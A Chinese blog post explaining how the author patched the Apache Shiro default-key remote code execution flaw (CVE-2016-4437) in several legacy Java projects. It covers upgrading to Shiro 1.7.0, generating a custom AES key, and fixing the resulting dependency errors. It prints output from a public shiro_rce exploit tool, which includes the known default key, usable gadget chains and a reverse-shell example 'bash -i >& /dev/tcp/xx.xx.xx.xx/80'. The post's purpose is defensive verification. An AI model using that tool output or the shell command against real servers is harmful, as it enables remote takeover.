Java项目中修复Apache Shiro 默认密钥致命令执行漏洞（CVE-2016-4437）详细说明

最近阿里云发了漏洞短信，需要在以后的老项目中修复漏洞，修复了6套Java项目，不同项目修复方式有所不同，特写此篇博客，以作备忘，欢迎大家留言讨论。

1.漏洞说明

1.1阿里云漏洞短信内容

1.2阿里云漏洞详细报告

2.详细修复步骤

2.1下载漏洞验证工具

漏洞验证工具：https://github.com/wyzxxz/shiro_rce，或者从http://www.zrscsoft.com/sitepic/12120.html中下载

下载的shiro_tool.jar文件，建设保存在D:download目录，即

根据阿里云漏洞报告，

执行D:workjdk1.8.0injava.exe -jar shiro_tool.jar http://{您的IP地址}命令，

具体如下：

D:download>D:workjdk1.8.0injava.exe -jar shiro_tool.jar http://{您的IP地址}
[-] target: http://{您的IP地址}
[-] target is use shiro
[-] start guess shiro key...
[-] use shiro key: kPH+bIxk5D2deZiIxcaaaA==
[-] check CommonsBeanutils1
[-] check CommonsCollections1
[-] check CommonsCollections2
[-] check CommonsCollections3
[-] check CommonsCollections4
[-] check CommonsCollections5
[-] check CommonsCollections6
[-] check CommonsCollections7
[-] check CommonsCollections8
[-] check CommonsCollections9
[-] check CommonsCollections10
[-] check Groovy1
[-] check JSON1
[-] check Spring1
[-] check Spring2
[-] check Jdk7u21
[-] check JRMPClient
[-] check ROME
[-] check Clojure
[] find: CommonsCollections10 can be use
[] find: JRMPClient can be use
0: CommonsCollections10
1: JRMPClient
[-] please enter the number(0-1)
> 0
[-] use gadget: CommonsCollections10
[] command example: bash -i >& /dev/tcp/xx.xx.xx.xx/80 0>&1 , command example: curl dnslog.xxx.com
[] if need base64 command, input should startwith bash=/powershell=/python=/perl=
[-] please enter command, enter q or quit to quit, enter back to re-choose gadget
> quit
[-] quit

D:download>

3.Java项目修改

3.1修改前注意事项

shiro需要升级到1.7.0

shiro1.7.0的spring相关jar要求在4.0版本以上

spring4.0以上版本要求jdk1.8.0以上

3.2Jar包准备

shiro1.7.0的jar如下：

shiro-core-1.7.0.jar

shiro-ehcache-1.7.0.jar

shiro-spring-1.7.0.jar

shiro-web-1.7.0.jar

spring相关jar要求在4.0版本以上，这里建设更新到spring-5.2.10.RELEASE版本，

spring-5.2.10.RELEASE版本相关的jar，请参考https://blog.csdn.net/jlq_diligence/article/details/109771710博客，自行下载

我这边需要的jar大致如下，不同的项目有所不同

3.3增加一个自定义秘钥代码

参考官方的：org.apache.shiro.crypto.AbstractSymmetricCipherService#generateNewKey()

import org.apache.shiro.codec.Base64;
import org.apache.shiro.crypto.AbstractSymmetricCipherService;
import org.aspectj.apache.bcel.generic.IINC;
 
import javax.crypto.KeyGenerator;
import javax.crypto.SecretKey;
 
import java.security.Key;
import java.security.NoSuchAlgorithmException;
 
/**
* shiro 秘钥生成器
*
* @author admin shiro有自己的随机生成秘钥的方法 秘钥生成器
*
*
*/
public class MySymmetricCipherService extends AbstractSymmetricCipherService {
 
 
 
protected MySymmetricCipherService(String algorithmName) {
super(algorithmName);
// TODO Auto-generated constructor stub
}
 
public static byte[] generateNewKeyFromSuper() {
KeyGenerator kg;
try {
kg = KeyGenerator.getInstance("AES");
} catch (NoSuchAlgorithmException var5) {
String msg = "Unable to acquire AES algorithm. This is required to function.";
throw new IllegalStateException(msg, var5);
}
 
kg.init(128);
SecretKey key = kg.generateKey();
byte[] encoded = key.getEncoded();
return encoded;
}
 
 
 
/**
* 使用shiro官方的生成
* org.apache.shiro.crypto.AbstractSymmetricCipherService#generateNewKey()
* @return
*/
public static byte[] getCipherKey() {
MySymmetricCipherService mySymmetricCipherService = new MySymmetricCipherService("AES");
Key gKey = mySymmetricCipherService.generateNewKey();
return gKey.getEncoded();
}
 
public static void main(String[] args) {
MySymmetricCipherService mySymmetricCipherService = new MySymmetricCipherService("AES");
Key gKey = mySymmetricCipherService.generateNewKey();
System.out.println("key: " + gKey.getEncoded());
System.out.println("key Base64.encodeToString: " + Base64.encodeToString(gKey.getEncoded()));
 
byte[] decodeValue = org.apache.shiro.codec.Base64.decode("t0EWNQWKMXYzKTDSQpNNfg==");
System.out.println("decodeValue: " + decodeValue);
}
}

3.4修改shiro配置

例如shiro配置文件为spring-shiro.xml，不同项目，文件名有所不同，修改的位置，大致如下

3.5修复后漏洞检测结果

4.常见问题

4.1Unsupported major.minor version 52.0

【现象】

java.lang.UnsupportedClassVersionError: org/apache/shiro/crypto/AbstractSymmetricCipherService : Unsupported major.minor version 52.0
at java.lang.ClassLoader.defineClass1(Native Method)
at java.lang.ClassLoader.defineClass(ClassLoader.java:800)
at java.security.SecureClassLoader.defineClass(SecureClassLoader.java:142)
at java.net.URLClassLoader.defineClass(URLClassLoader.java:449)
at java.net.URLClassLoader.access$100(URLClassLoader.java:71)
at java.net.URLClassLoader$1.run(URLClassLoader.java:361)
at java.net.URLClassLoader$1.run(URLClassLoader.java:355)
at java.security.AccessController.doPrivileged(Native Method)
at java.net.URLClassLoader.findClass(URLClassLoader.java:354)
at java.lang.ClassLoader.loadClass(ClassLoader.java:425)
at sun.misc.Launcher$AppClassLoader.loadClass(Launcher.java:308)
at java.lang.ClassLoader.loadClass(ClassLoader.java:358)

【解决方法】JDK更换为JDK1.8

详细描述如下：

当改变了jdk版本时，在编译java时，会遇到Unsupported major.minor version错误。
jdk版本和stanford parser对应关系

JDK版本和Java编译器内部的版本号

J2SE 8 = 52,
J2SE 7 = 51,
J2SE 6.0 = 50,
J2SE 5.0 = 49,
JDK 1.4 = 48,
JDK 1.3 = 47,
JDK 1.2 = 46,
JDK 1.1 = 45

4.2org.springframework.web.servlet.mvc.annotation.AnnotationMethodHandlerAdapter报错

【解决方法】

修改为：

4.3 java.lang.NoClassDefFoundError: org/owasp/encoder/Encode

【现象】

java.lang.NoClassDefFoundError: org/owasp/encoder/Encode
org.apache.shiro.web.filter.PathMatchingFilter.pathsMatch(PathMatchingFilter.java:134)
org.apache.shiro.web.filter.PathMatchingFilter.preHandle(PathMatchingFilter.java:186)
org.apache.shiro.web.servlet.AdviceFilter.doFilterInternal(AdviceFilter.java:131)
org.apache.shiro.web.servlet.OncePerRequestFilter.doFilter(OncePerRequestFilter.java:125)
org.apache.shiro.web.servlet.ProxiedFilterChain.doFilter(ProxiedFilterChain.java:66)
org.apache.shiro.web.servlet.AbstractShiroFilter.executeChain(AbstractShiroFilter.java:4
【解决方法】
添加 encoder-1.2.2.jar

详细操作和文件，可以参考http://www.zrscsoft.com/sitepic/12120.html